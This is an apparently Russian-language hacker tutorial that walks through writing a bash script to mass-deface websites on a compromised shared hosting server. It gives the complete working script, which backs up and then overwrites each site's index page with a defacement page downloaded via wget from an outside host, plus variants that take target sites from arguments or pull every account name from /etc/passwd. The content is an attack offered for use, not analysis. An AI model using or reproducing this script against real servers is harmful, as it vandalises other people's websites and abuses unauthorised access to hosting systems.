Сперва мы хотели просто выложить скрипт для массового изменения первых страниц сайтов на взломанном хостинге, но тут возникла необходимость в коментариях к скрипту, которые оказались больше, чем сам скрипт =) 
 Да, к тому же, нюансы каждого отдельного случая требуют дополнительного перекроя программы. Поэтому мы решили просто показать, как можно самому написать подобный скрипт.  Итак, перед нами задача: задефейсить сразу и много сайтов на одном хостинге (как получить для этого соответствующие права - не тема нашей статьи). 
 Входные данные: 
 - мы имеем возможность писать в папки всех юзеров; 
 - мы знаем какие сайты мы будем дефейсить, а какие нет (мы же не вандалы, чтоб дефейсить сайты безобидных домашних страничек); 
 - пусть имена каталогов сайтов будут site1, site2, site3...; 
 - из конфига апача мы узнали, что файлы сайтов хранятся в директориях типа: /home/site1/htdocs. 
 Ну, к делу! 
 На чем будем писать? 
 Что за вопрос? Какой родной язык для юникс-лайк систем? BASH! 
 Вот на нем и будем писать - уж достоверно будем знать, что наш скрипт в системе запустится =) 
 В начале скрипта принято указывать так называемый "ша-банг" - путь к командному интерпретатору. Рисуем наш Ша-Банг (хотя, можно и без него) и дальше по тексту (все читаем в коментариях к скрипту, которые в bash отделяются символом "#"): 
 #!/bin/bash 
 ######################################## 
 # Теперь нам нужно в коментариях добавить # 
 # наш копирайт, или гритс/факс - # 
 # короче, что-то нарисовать надо, # 
 # а то как узнать, что это наш скрипт? =) # 
 #################################### 
 # Зададим директорию, в которой хранятся файлы. 
 # В нашем примере это "htdocs/". 
 # Если таковой нет, укажем просто слеш "/" 
 IND_DIR=/htdocs/ 
 #зададим расширение для бекапа индекса (помните: мы же не вандалы!): 
 P_BKP=".bkp" 
 #указываем путь к главной директории, где все наши сайты и размещаются: 
 DP_HOME=/home/ 
 # Укажем и путь к файлику с нашим дефейсом, 
 # который мы уже успели закачать, 
 # скажем так: wget -O /tmp/def.html http://gipshack.ru/index.htm 
 DEF=/tmp/def.html 
 #дальше, все будет происходить в цикле: 
 #имена сайтов будут браться в качестве переменной SITE из значений, 
 #которые мы укажем вместо наших site1 site2 и site3 
 for SITE in "site1" "site2" "site3" 
 do 
 CD_DEF=`echo "${DP_HOME}${SITE}${IND_DIR}"` #формируем имя директории 
 cd ${CD_DEF} #сайта и переходим в нее 
 #Так, теперь задаем возможные имена файлов индекса 
 for FILE in index.html index.php index.htm index.shtml index.shtm 
 do 
 FILE_BKP=`echo "${FILE}${P_BKP}"` 
 if [ -e "$FILE" ] #проверяем, есть ли такой файл 
 then 
 cp "${FILE}" "${FILE_BKP}" #Если да, то делаем бекап 
 echo "Defacing $FILE in $CD_DEF" 
 cat "${DEF}" > "${FILE}" #И заменяем индекс на наш дефейс 
 continue 
 fi 
 done 
 done 
 exit 0 
 Сохраняем скрипт на сервере с именем, скажем, massdef.sh, даем ему права на выполнение: 
 chmod 0755 
 и запускаем: 
 ./massdef.sh 
 Или просто запускаем через командный интерпретатор (в этом случае нам не нужен Ша-Банг): 
 bash massdef.sh 
 Ну вот, и все. Скриптик отчитается нам какие файлы и в каких директориях он заменил. 
 Что можно еще придумать? 
 Несколько полезностей на любителя. 
 1. Можно сделать вариант с вводом имен папок сайтов в командной строке как аргументов скрипта. 
 Для этого мы меняем цикл, который получает значения переменной SITE. 
 Собственно, перебор входных аргументов можно организовать при помощи команды shift: 
 until [ -z "$1" ] # Выполняем цикл, пока есть аргумент 
 do 
 SITE=$1 # Присвоим значение первого аргумента переменной SITE 
 # А здесь выполним то, что у нас было от "CD_DEF=" 
 # и до первого "done" 
 shift # Сдвигаем аргументы на 1 
 done 
 Тогда наш скрипт будем запускать где-то так: 
 ./massdef.sh site1 site2 site3 
 2. Если имена директорий для переменной SITE совпадают с именами пользователей системы (такое бывает часто), и мы хотим все их задефейсить (пример с порнушным хостингом), то можно брать имена пользователей из файла /etc/passwd. 
 Нам поможет прикольная команда cut. Она предназначена для извлечения отдельных элементов (полей) из текстовых файлов. 
 Команда имеет два основных ключа: 
 -d для указания разделителя полей (в нашем случае будем использовать двоеточие ':') 
 -f для указания номера поля. 
 Таким образом, для выборки имени пользователя /сайта (в нашем примере) из файла паролей, можно воспользоваться такой конструкцией: 
 FILENAME=/etc/passwd 
 for SITE in $(cut -d: -f1 $FILENAME) 
 do 
 # А здесь вставим стандартные наши процедуры определения 
 # полного пути к директории и дальнейшей дефейс-акции 
 done # и завершаем цикл. 
 На этом пока все. 
 Надеемся, что эта статья станет для кого-то началом в изучении интересного языка программирования bash =)